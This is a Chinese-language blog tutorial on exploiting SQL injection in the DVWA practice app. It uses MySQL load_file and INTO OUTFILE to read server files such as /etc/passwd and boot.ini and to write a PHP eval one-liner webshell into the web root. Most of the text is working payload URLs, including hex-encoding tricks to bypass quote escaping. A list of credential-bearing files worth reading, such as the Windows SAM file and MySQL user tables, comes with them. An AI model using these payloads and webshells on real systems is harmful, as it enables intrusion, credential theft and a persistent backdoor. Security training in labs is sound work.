美文网首页
对服务器文件进行读写操作获取webshell

对服务器文件进行读写操作获取webshell

作者: 卿酌南烛_b805 | 来源:发表于2020-08-03 23:39 被阅读0次

使用into outfile需要有以下条件:

1、需要知道远程目录
2、需要远程目录有写权限
3、需要数据库开启secure_file_priv进行读写操作

数据库开启secure_file_priv
into outfile 可以将select的结果写入到指定目录的txt中,但需要数据库开启secure_file_priv,怎么开启secure_file_priv。
在mysql安装目录的my.ini文件中的[mysqld]添加secure_file_priv = ' ';然后以管理员身份运行cmd,进入mysql/bin停止mysql服务net stop mysql,重新启动mysql服务net start mysql,登入mysql mysql -u root -p enter password: password,执行命令show variables like '%secure%';查看secure_file_priv的值(这里已经将secure_file_priv的值设为空,但正常显示为NULL和文件路径),显示以下界面说明可以对服务器进行读写操作。

image.png
下面通过联合查询对服务器进行读写操作
使用联合查询语句构造,利用注入读取/ect/passwd 文件(linux系统)
‘UNION SELECT 1, load_file(/etc/passwd) +–+
使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)
‘ UNION SELECT 1, load_file(‘c:\1.txt’) +–+ 或者
‘ union select 1, load_file(‘c:/1.txt’) +–+
注: “\”(编程里面""转义)
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file('c:\boot.ini')+--+&Submit=Submit

如果出现以下情况:
Query Errot:SELECT CID,TITLE FROM CMS_CONTENTINDEX WHERE TID=25950\’AND 1=2 UNION SELECT LOAD_FILE(’C:\BOOT.INI\’),2
显然,在“php.ini"配置文件中magic_quotes_gpc为on或在接受参数的时候用了addslashes()涵数,单引号就会被自动转义成',因此函数未能正确执行功能.要绕开此过滤,可将c:\boot.ini转换成十六进制,转换后为:0x633A5C5C626F6F742E696E69.再提交如下链接。
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1 and 1=2 union select 1,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit

如果想对服务器进行写操作,直接用下用这条语句进行操作:
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%20'568311803',2 into outfile 'c:/muma.txt'+--+&Submit=Submit
写个一句话试试:
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt'+--+&Submit=Submit
为什么要把一句话木马转化为十六进制,因为一句话木马里面也有单引号,再用单引号引起来会容易造成混淆。所以得出结论:如果用编码就不要用单引号,用单引号就不要用编码。

image.png

获取web路径方法

%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit  //路径记得转化为十六进制

常见WINDOWS下配置文件:

c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

服务器读取文件

union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit

写webshell获取权限

union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit

获取webshell

利用sql注入写入webshell
假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.写入需要你有写入权限等。
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+ //这种反斜找扛/本地没测试,大家测试一下,推见大家用两个反\方法,例如:
http://192.168.0.105:8080/dvwa/vulnerabilities/sqli/?id=1' union select "<?php @eval($_POST['chopper']);?>",2 into outfile "c:\php\htdocs\dvwa\123.php"+--+&Submit=Submit

image.png

相关文章

  • 对服务器文件进行读写操作获取webshell

    使用into outfile需要有以下条件: 数据库开启secure_file_privinto outfile ...

  • python 文件操作

    读写文件通常包含以下操作: 打开文件。获取文件对象 读写文件、对文件内容进行操作。 关闭文件。使用文件对象关闭文件...

  • 【python学习日记】输入输出、File、OS

    通过open() 打开一个文件,获取一个文件对象,然后对文件进行读写操作 # 读写打开一个UTF-8编码格式文件,...

  • mysql提权之mof提权

    拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权 首先介绍mof提权,直...

  • MFC好的代码

    判断文件是否存在,并做相应的操作。 获取当前时间 获取最新的ID 文件操作//文件读写操作 移动窗口的位置

  • python012-文件操作

    文件的基本操作 1 文件操作步骤 打开文件 读写等操作 关闭文件 注意:可以只打开和关闭文件,不进行任何读写操作。...

  • python读写文件

    python读写文件是很常见的操作,而多数情况下是对纯文件的读写操作。我们先看一下,纯文本是如何进行读写操作的。 ...

  • C++的读写操作流程

    一、读写操作流程 1.为要进行操作的文件定义一个流对象。 2.打开(建立)文件。 3.进行读写操作。 4.关闭文件...

  • flutter 如何实现文件读写(使用篇)

    flutter文件读写可以对磁盘文件进行操作,实现某些业务场景,那么我们开始来讲下这个文件读写操作。 使用的库插件...

  • Linux系统调用文件的读写(位置操作)

    获取文件的读写位置::ftell(3)//这一函数为库函数 操作文件的读写位置:lseek(2) #include...

网友评论

      本文标题:对服务器文件进行读写操作获取webshell

      本文链接:https://www.haomeiwen.com/subject/cgdkrktx.html